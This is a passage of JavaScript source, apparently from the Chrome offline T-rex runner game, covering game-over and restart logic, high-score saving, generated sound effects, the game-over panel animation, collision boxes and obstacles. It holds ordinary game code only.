         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
